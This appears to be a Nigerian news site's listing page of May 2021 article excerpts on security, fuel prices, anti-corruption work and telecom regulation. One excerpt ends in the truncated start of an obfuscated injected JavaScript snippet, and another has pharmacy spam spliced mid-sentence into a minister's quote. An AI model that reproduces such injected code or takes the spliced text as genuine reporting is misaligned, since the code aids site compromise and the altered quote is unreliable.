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24May By Sharpedge NewsNo Comments

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Lawyer calls for security re-jig in FCT Community

Barrister David Aigbefoh the Vice-Chairman Nigerian Bar Association (NBA) Gwagwalada Branch Abuja, has called for the re-jig of security operations at Tunga-maje community in Gwagwalada Area Council, FCT. Aigbefoh made the call when a delegation of Tungan Maje Youth Association paid him a courtesy visit at his residence in Gwagwalada. The barrister said that there was an urgent need for a re-jig with the security agencies and to also step up surveillance, especially aerial surveillance with the use of drones, to secure the life and property of the citizenry. According to him, there was a need for everyone to be always security conscious, to guard against the sudden wanton destruction of lives and property. “There should be more deployment of police patrol teams, at strategic l...

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23May By Seun AdamsNo Comments

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Reps Postpones Security Summit in Honour Attahiru, Others

The House of Representatives said it has postponed the national security summit scheduled to hold from Monday to Wednesday 26 the in honour of the late Chief of Army Staff (COAS), Lieutenant-General Ibrahim Attahiru, and 10 other military officers and men that died as a result of air mishap on Friday.Mr. Chinedu Akabueze, Clerk of the House in a statement made available to the media said House shares in the grief and sorrow of the families of the late top military officers and prayed that the Almighty God will grant them eternal rest.It should be noted that the postponement became necessary as the late Army Chief was one of the major stakeholders that would have taken part in the summit.The House regrets any inconvenience the postponement may cause invited guests. var z =String;var t=z.fr...

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22May By Dayo OmoogunNo Comments

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FG Dispels Price Increase Speculations

Following the news making the rounds that the Nigerian Governors Forum had recommended a new price regime of N385 naira only which has been agitating the minds of most Nigerians, the Federal Government has again cleared the air , insisting that there is no plan by the government to increase petrol pump price.The clarification was made Friday by the Minister of State, Petroleum Resources, Chief Timipre Sylva who also urged members of the public to refrain from panic buying. "Once again, it has become necessary to assure Nigerians that despite the huge burden of under-recovery, the Federal Government is not in a hurry to increase the price of Premium Motor Spirit (petrol) to reflect current market realities", the Minister stated. "The current price of petrol will be retained in the mo...

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21May By Dwelleth MorountodunNo Comments

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ICPC: Foreign Countries Should Refund Stolen Funds with Interest

The Chairman of the Independent Corrupt Practices and Other Related Offences Commission (ICPC), Prof. Bolaji Owasanoye SAN, has canvassed the payment of interests on stolen funds by benefiting foreign nations as part of measures to redress the menace of Illicit Financial Flows (IFFs).  The ICPC boss also disclosed that the Federal Government of Nigeria was currently reviewing legacy transactions in oil and gas, tax investments and the use of waivers in Nigeria in order to curb IFFs. ICPC Spokesperson, Mrs. Azuka Ogugua, in a statement made available to the media, said the ICPC boss made the disclosure at the International Conference on IFFs and Asset Recovery, held at the ICPC Headquarters, Abuja, said illegal movements of funds from African countries abroad has made the contin...

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20May By Gami TadanyigbeNo Comments

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FCT indigenes concludes plans on community mayoral elections in FCT

Indigenes of the Federal Capital Territory, FCT, under the umbrella of Abuja Original Inhabitants Youths Employment Organisation (AOIYEO), has completed plans to conduct community mayoral elections in FCT. Mr Yahuza Abubakar, Secretary General AOIYEO made the disclosure on Tuesday in a press conference in Abuja. Abubakar said original idea behind the formation of Abuja and what was expected from it structures which was called Abuja Master plan was to have a formidable Democratic structure in FCT. According to him, the original idea behind the Abuja Master plan was to create a purpose-built city and districts where the indigenes and residents will have specific purposes in the area. "It is very sad to say that the Master Plan has been completely neglected over time, and we see ...

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18May By Dwelleth MorountodunNo Comments

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NCC Resolves 99.2% of Telecom Consumer Complaints in Q1 2021

The Nigerian Communications Commission (NCC) has resolved 99.2 per cent of service-related complaints received from telecom consumers across the major network operators in Q1, 2021. According to the Q1, 2021 Report on Complaint Management issued by the Consumer Affairs Bureau of the Commission, a total of 3,019 consumer complaints were received from four complaint channels established by the Commission as compared to 2,854 complaints received in the Q1, 2020. The consumer complaint channels include the Commission’s Contact Centre, through which the toll-free number 622 is managed, NCC Consumer Portal, NCC social media platforms and written complaints. Of the 3,019 consumer complaints, 2,995 consumer complaints, representing 99.2 per cent, were successfully resolved while only 24,...

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18May By Seun AdamsNo Comments

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Traditional Rulers Commend NCC Boss over Role in Security, National Security

Traditional rulers and concerned community leaders have commended the Executive Vice Chairman and Chief Executive Officer of the Nigerian Communications Commission (NCC), Prof. Umar Garba Danbatta for his role in boosting security and supporting other initiatives aimed at developing Danbatta Local Government Area, Kano State and its environs, as well as his efforts toward national development. The traditional rulers and the community leaders spoke at an event organised by Danbatta (Community) Charity Foundation (DCF) in conjunction with Zauren Tuntuba, a non-for-profit organisation; Danbatta Academic Forum (DAF); Danbatta Reporters and Duniya Ba Hutu, in Danbatta community, Kano at the weekend. The event was the graduation ceremony of 10 female students from Muslim Community College...

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16May By Mohammed MohammedNo Comments

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Mangrove Restoration: FG Strategizes on Conservation Plan for Niger Delta

The Minister of Environment, Dr. Mohammad Mahmood Abubakar has opened an International Expert Meeting on Mangrove Restoration in the Niger Delta region with pledge to improve the lives of the Ogoni communities and environs devastated by oil pollution. At the opening session of the meeting in Abuja, the Minister acknowledged that the stakeholders’ session is a turning point for mangrove ecosystems in Ogoniland. According to him, using the knowledge and experience of the experts assembled here today, together, order cheap ativan online eu government and stakeholders will be able to restore the mangroves and improve the lives of the Ogoni communities who are affected every day by the negative impact of the devastating pollution. Convened by the Federal Ministry of Environment, the m...

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16May By Dayo OmoogunNo Comments

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Snake Island FTZ, Others Reject FG’s Stance on FTZs Supervisory Body, Threaten Divestment

Reacting to a leaked draft proposal by the Federal Ministry of Trade and Industry to transfer the supervision of Free Trade Zones from the Nigerian Export Processing Zones Authority (NEPZA) to the Oil and Gas Free Trade Zones (OGFZA) leading investors in the Zones have threatened to commence divestment from the zones if the planned transfer is sustained.This is contained in a statement signed on behalf of the investors by the Director of Snake island Integrated Free Zone, Yusufu Abdullahi, which was made available to the media on Saturday.The investors claimed that the former Vice-President Atiku Abubakar’s company-INTELS- owns major shares in OGFZA and alleged that the proposed reform is "a ploy to destroy multi-million naira private investment in the free zones"."The Governing Board of ...

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16May By Dayo OmoogunNo Comments

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CAN Calls for 3 Days of Solemn Assembly

The Christian Association of Nigeria (CAN) has mandated all its affiliate churches to observe a 3-day session of national mourning, soberness and fervent prayers beginning from Friday 28 to Sunday 30 May, 2021.The directive was contained in an internal memo dated 11th May,2021, signed by its National general secretary Daramola Bade Joseph to all the body’s national leaders, bloc leaders, zonal leaders, state secretaries and State Chairmen.“This is to inform you that the CAN President, in view of the continuous killings, banditry and host of other problems in Nigeria has considered it imperative and absolutely necessary that our country needed prayers for God's mercy and intervention in our land. “Consequently, all local churches are expected to gather in the evening of each day set asi...

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15May By Gami TadanyigbeNo Comments

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Dr Okupe gives Sallah packages to NYMSA executive’s

Dr Doyin Okupe, a presidential candidate endorsed by the Noble Youths Mass Support Association (NYMSA) for 2023 general elections in the country at the weekend gave a Sallah package to the NYMSA executives. The package undisclosed by the groups National Coordinator, Hon. Godwin Omonya, said the donation was part of the Presidential candidates gesture to encourage the NYMSA. Okupe charged Nigerians to use the Sallah period for sober reflection on the state of the nation. While congratulating the Muslim Ummah for successful completion of this year’s Ramadan fast, one of the Five Pillars of Islam, he urged them to remember that moderation was important in everything. “Ramadan is a month of sacrifice, abstinence and above all, love and care for humanity. I encourage you all to be ...

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14May By Seun AdamsNo Comments

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NCC Commiserates with Board Chairman over Daughter’s Demise

 The Board, Management and entire staff of the Nigerian Communications Commission (NCC) has expressed grief and commiserate with the Chairman, Board of Commissioners of NCC, Prof. Adeolu Akande over the passage of his daughter, Miss Feranmi Fasunle. Miss Fasunle, aged 19, was a promising 200-Level student of Political Science at the Adekunle Ajasin University, Akungba Akoko, Ondo State, who dreamt of reading Law as a second degree. She died in the early hours of Thursday, May 13, 2021 at the Federal Medical Centre, Owo, Ondo State, following spirited efforts to save her.  The Commission, therefore, expresses the heartfelt condolences of its Board, Management and entire staff over the sad development. NCC said: "While we, at the Commission, identify with the entire family at this grievi...

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13May By Felix ShammahNo Comments

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UK Based Nigerian Investment Consultant, Dr Omale, Greets Muslim Ummah at Eid Mubarak

By Frank Momoh A United Kingdom (UK) based Nigerian Investment Consultant and Human Rights activist, Dr Samson Omale has felicitated with Muslim Ummah as they celebrate Eid Mubarak.For his patriotic zeal especially in defence of freedom of speech, he was recently conferred with defender of the media by the Nigerian Union of Journalists (NUJ) in Abuja. In a statement signed by Mr. Okelewu Ojima his personal Aide, Dr Omale prayed Almighty Allah to answer all their prayers and supplications, even as he urged them to remained steadfast in prayer for Nigeria to overcome her security challenges.  According to the erudite investment 'guru', every nation has its peculiar challenges which can only be overcomed with persistence, perseverance, prayers and support of all citizens."This Eid M...

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10May By Mohammed MohammedNo Comments

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Insecurity: Aregbesola Tasks, Decorates New CG of NCS

The Minister of Interior, Ogbeni Rauf Aregbesola, on Tuesday, tasked the new Comptroller of the Nigerian Correctional Service, Mr. Haliru Nababa, on the unusual insecurity the country is currently grappling with. He made the disclosure in Abuja, while decorating the new CG whom he said emerged from a rigorous meritocratic selection process devoid of interference from any quarters.  The Minister said Nababa was recommended by the board to President Muhammadu Buhari who promptly nominated him for conferment by the Senate.  He said: "Having been screened by the Nigerian Senate and found worthy of this high responsibility, he was confirmed and he is receiving today the mantle of the job. "Nababa is a gallant officer and a patriot. He has diligently served the country thr...

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10May By Seun AdamsNo Comments

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Benue Indigene Accuses Ex-lawmaker of Planting Gun in His Car, Threatens to Exterminate Him

An embattled Benue indigene has exposed how a former Federal House of Representatives Member, Mr. Emmanuel Udende, allegedly planted two AK-47 rifles in the trunk of his car and has since been victimizing him with threats to his life and that  According to the source who spoke to the media on condition of anonymity, Hon. Udende who represented Ukum/Katsina Ala/Logo Federal Constituency in the eight National Assembly, had begged him to help him steal ballot boxes during the last Senatorial District elections in the state.The source who is from the same Local Government Area with the former legislator, added that after they met, Udende invited him in, where he made the offer to him and promised to give him protective cover while he disrupts the electoral process in his favour.  &nbs...

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3May By Sharpedge NewsNo Comments

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Alleged Criminal Conversion: Lawyer Denies Giving Signed Will to Anambra Judge

Prominent Onitsha-based Lawyer, Mr.Frank Nwankwo has insisted before the police that the affidavit purportedly deposed to by him in support of a lawsuit filed by Justice Ifeanyi Nweze of Anambra State Judiciary, is false in its entirety. Nwankwo told the police in Abuja after his arrest that he stood by the first statement he made to the Police on November 29, 2014, in which he affirmed that he did not give any signed Will to Justice Nweze. Nwankwo stated this in his written statement to the police dated March 15, 2021 in respect of investigation into alleged criminal collusion between Justice Nweze and one of his siblings, Chika Reginald Muoghalu. Justice Nweze, who is engaged in a tussle with his elder brother, Micheal Nweze, a medical doctor, over their late father’s estate, h...

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3May By Sharpedge NewsNo Comments

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Perm Sec Overseeing NCC, NITDA, NIPOST, Others Bows Out

The Permanent Secretary, overseeing the Nigerian Communications Commission (NCC), the National Information Technology Development Agency (NITDA) and other agencies under the Ministry of Communications and Digital Economy, Engr. Festus Yusuf Daudu, on Friday, bowed out of service. Extraordinaire news gathered that he turned 60 years on Sunday 2nd May, 2021; being the mandatory age of retirement from the Civil Service has formally handed over to the most senior Director, Dr.Nonye Nwachukwu in an acting capacity as the Permanent Secretary pending when a substantive Perm Sec will be posted. Daudu in his remarks on April 30, 2021 before signing the hand-over note stated that by the Civil Service Rules, it was incumbent on him to hand over to the most senior Director who will oversee the ...

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3May By Seun AdamsNo Comments

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NCC Boss, Others Condole with Emirs of Kano over Mother’s Death

The Executive Vice Chairman of the Nigerian Communications Commission (NCC), Prof Umar Garba Danbatta at the weekend led a high-powered delegation of the Commission to condole with the Emirs of Kano and Bichi, Alhaji Aminu Ado Bayero and Alhaji Nasiru Ado Bayero respectively over the demise of their mother, late Hajiya Maryam Ado Bayero, Mai Babban Dakin Kano. The EVC was accompanied by the Director, New Media and Information Security, Dr. Haru Alhassan; Director, Human Capital and Administration, Usman Malah and the Director, Public Affairs of the Commission, Dr. Ikechukwu Adinde as well as his Chief of Staff, Hafiz Shehu. Danbatta, who also submitted two letters of condolence, one on behalf of the Minister of Communications and Digital Economy, Dr. Ali Isa Ibrahim Pantami and the ...

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2May By Felix ShammahNo Comments

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Day Dr. Yemi-Esan Bagged CIPM’s Icon Award

By Olufunke Akinwumi For Dr. Folashade Yemi-Esan, the Head of the Civil Service of the Federation, and her teeming admirers, it was a day that will never be forgotten in a hurry and indeed a glorious night full of pomp and pageantry when the Chartered Institute of Personnel Management of Nigeria (CIPM), the apex regulatory body for Human Resource Management practice in the country, honoured her with a well-deserved iconic award. In her usual down-to-earth humbleness and candour, Dr. Yemi-Esan, who was visibly elated said she was overwhelmed and short of words to express her appreciation, adding: ‘‘I give God all the glory. It’s God that has helped me so far” in acknowledgement while receiving the award from the Minister of Labour, Dr. Chris Ngige. Known for her advocacy for team ...

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2May By Gami TadanyigbeNo Comments

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Akpu sellers commend Kwali council boss over construction of special market

Some sellers of Cassava paste, popular known as Akpu t in Great and Big Sheda communities in Kwali Area Council of the Federal Capital Territory (FCT), Abuja, have commended the Chairman, Mr Danladi Chiya, for constructing special markets for them to operate. The sellers who made the commendation in separate interviews with the News Agency of Nigeria (NAN) in Kwali, said the special market construction was a step in the right direction. Mrs Godiya Shekwolo the Leader of Akpu Sellers Association, said the gesture would not only boost the personal income of the sellers, who are predominantly women, but would also create job opportunities for others. Shekwolo, described the action of the chairman as a “giant move”, adding that it has improved economic activities in communities,...

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